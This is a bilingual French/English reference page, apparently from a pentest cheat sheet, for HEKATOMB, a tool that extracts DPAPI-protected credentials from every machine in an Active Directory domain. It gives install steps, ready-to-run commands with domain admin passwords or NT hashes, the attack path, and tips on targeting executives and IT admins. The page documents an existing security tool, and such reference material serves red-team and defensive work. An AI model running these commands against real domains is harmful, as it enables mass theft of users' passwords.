hekatomb

Extracteur d'identifiants DPAPI Active Directory. Récupère et déchiffre les secrets protégés par DPAPI sur tous les ordinateurs du domaine à l'aide d'identifiants d'administrateur du domaine : récolte massive d'identifiants via DPAPI. Active Directory DPAPI credential extractor. Retrieves and decrypts DPAPI-protected secrets from all domain computers using domain admin credentials — mass credential harvesting via DPAPI.

↗ https://github.com/Processus-Thief/HEKATOMB

Overview

HEKATOMB automates mass DPAPI credential extraction across an Active Directory domain. Given domain admin credentials, it connects to all domain computers, retrieves DPAPI master keys, and decrypts stored credentials (browser passwords, Windows Credential Manager, Wi-Fi passwords, etc.) from every machine.

Installation

pip3 install hekatomb
# or
git clone https://github.com/Processus-Thief/HEKATOMB
cd HEKATOMB
pip3 install -r requirements.txt

Basic Usage

Full domain credential extraction

hekatomb -u "DOMAIN\DomainAdmin" -p "Password123" -d domain.local -dc DC01.domain.local

With hash authentication

hekatomb -u "DOMAIN\DomainAdmin" -H "NT_HASH" -d domain.local -dc DC01.domain.local

Target specific computers

hekatomb -u "DOMAIN\admin" -p "pass" -d domain.local -dc DC01 --computers "PC01,PC02"

What HEKATOMB Extracts

# From each domain computer (via SMB):
# Windows Credential Manager entries
# Web browser stored passwords (Chrome, Edge, Firefox)
# Wi-Fi network passwords
# RDP saved credentials
# SSH key agents (if applicable)
# Any application using DPAPI for storage

# The attack path:
# 1. Connect to DC via LDAP → enumerate all computers
# 2. Connect to each computer via SMB → copy DPAPI blobs
# 3. Request DPAPI master keys from DC via MS-BKRP
# 4. Decrypt all blobs using master keys
# 5. Output cleartext credentials

DPAPI Background

# DPAPI (Data Protection API) encrypts data with:
# - User master key (derived from password)
# - Domain backup key (stored on DC, used when password changes)

# Hekatomb uses the domain backup key:
# GET /backupkey/ → retrieves key from DC
# All DPAPI blobs can be decrypted with this key

# This is why domain admin access = all credentials across domain

Output

# HEKATOMB creates output directory with:
# ./output/
#   credentials.txt     — all decrypted credentials
#   computers.txt       — list of domain computers
#   errors.txt          — access failures
#   
# Credential format:
# [PC01] Chrome: username:password@website.com
# [PC02] WinCred: domain\user:password → target.server

Tips

  • Requires domain admin privileges — one of the highest-value post-exploitation actions
  • The domain DPAPI backup key is permanent — rotate it immediately if compromised
  • HEKATOMB can take significant time on large domains — run overnight
  • Filter results by target users (executives, IT admins) for highest-value findings
  • impacket-dpapi can perform similar extraction manually for individual users
Help / Man page
hekatomb [options]

-u USER     Domain admin username (DOMAIN\user)
-p PASS     Password
-H HASH     NT hash (alternative to password)
-d DOMAIN   Domain name (FQDN)
-dc DC      Domain controller hostname/IP
--computers Comma-separated computer list (default: all)
-o DIR      Output directory
-v          Verbose

Vue d’ensemble

HEKATOMB automatise l’extraction massive d’identifiants DPAPI à travers un domaine Active Directory. Avec des identifiants d’administrateur du domaine, il se connecte à tous les ordinateurs du domaine, récupère les clés maîtresses DPAPI, et déchiffre les identifiants stockés (mots de passe de navigateur, Gestionnaire d’identifiants Windows, mots de passe Wi-Fi, etc.) de chaque machine.

Installation

pip3 install hekatomb
# ou
git clone https://github.com/Processus-Thief/HEKATOMB
cd HEKATOMB
pip3 install -r requirements.txt

Utilisation de base

# Extraction complète des identifiants du domaine
hekatomb -u "DOMAIN\DomainAdmin" -p "Password123" -d domain.local -dc DC01.domain.local

# Avec authentification par hash
hekatomb -u "DOMAIN\DomainAdmin" -H "NT_HASH" -d domain.local -dc DC01.domain.local

# Cibler des ordinateurs spécifiques
hekatomb -u "DOMAIN\admin" -p "pass" -d domain.local -dc DC01 --computers "PC01,PC02"

Ce que HEKATOMB extrait

# Depuis chaque ordinateur du domaine (via SMB) :
# Entrées du Gestionnaire d'identifiants Windows
# Mots de passe stockés dans les navigateurs web (Chrome, Edge, Firefox)
# Mots de passe des réseaux Wi-Fi
# Identifiants RDP enregistrés
# Agents de clés SSH (le cas échéant)
# Toute application utilisant DPAPI pour le stockage

# Le chemin d'attaque :
# 1. Connexion au DC via LDAP → énumération de tous les ordinateurs
# 2. Connexion à chaque ordinateur via SMB → copie des blobs DPAPI
# 3. Demande des clés maîtresses DPAPI au DC via MS-BKRP
# 4. Déchiffrement de tous les blobs à l'aide des clés maîtresses
# 5. Sortie des identifiants en clair

Contexte DPAPI

# DPAPI (Data Protection API) chiffre les données avec :
# - Une clé maîtresse utilisateur (dérivée du mot de passe)
# - Une clé de sauvegarde de domaine (stockée sur le DC, utilisée lors des changements de mot de passe)

# Hekatomb utilise la clé de sauvegarde de domaine :
# GET /backupkey/ → récupère la clé depuis le DC
# Tous les blobs DPAPI peuvent être déchiffrés avec cette clé

# C'est pourquoi un accès administrateur de domaine équivaut à tous les identifiants du domaine

Sortie

# HEKATOMB crée un répertoire de sortie avec :
# ./output/
#   credentials.txt     : tous les identifiants déchiffrés
#   computers.txt       : liste des ordinateurs du domaine
#   errors.txt          : échecs d'accès
#
# Format des identifiants :
# [PC01] Chrome: username:password@website.com
# [PC02] WinCred: domain\user:password → target.server

Conseils

  • Nécessite des privilèges d’administrateur du domaine : l’une des actions de post-exploitation à plus haute valeur
  • La clé de sauvegarde DPAPI du domaine est permanente : faites-la tourner immédiatement en cas de compromission
  • HEKATOMB peut prendre un temps significatif sur de grands domaines : lancez-le de nuit
  • Filtrez les résultats par utilisateurs cibles (dirigeants, admins IT) pour les résultats à plus forte valeur
  • impacket-dpapi peut réaliser une extraction similaire manuellement pour des utilisateurs individuels
Aide / Page de manuel
hekatomb [options]

-u USER     Domain admin username (DOMAIN\user)
-p PASS     Password
-H HASH     NT hash (alternative to password)
-d DOMAIN   Domain name (FQDN)
-dc DC      Domain controller hostname/IP
--computers Comma-separated computer list (default: all)
-o DIR      Output directory
-v          Verbose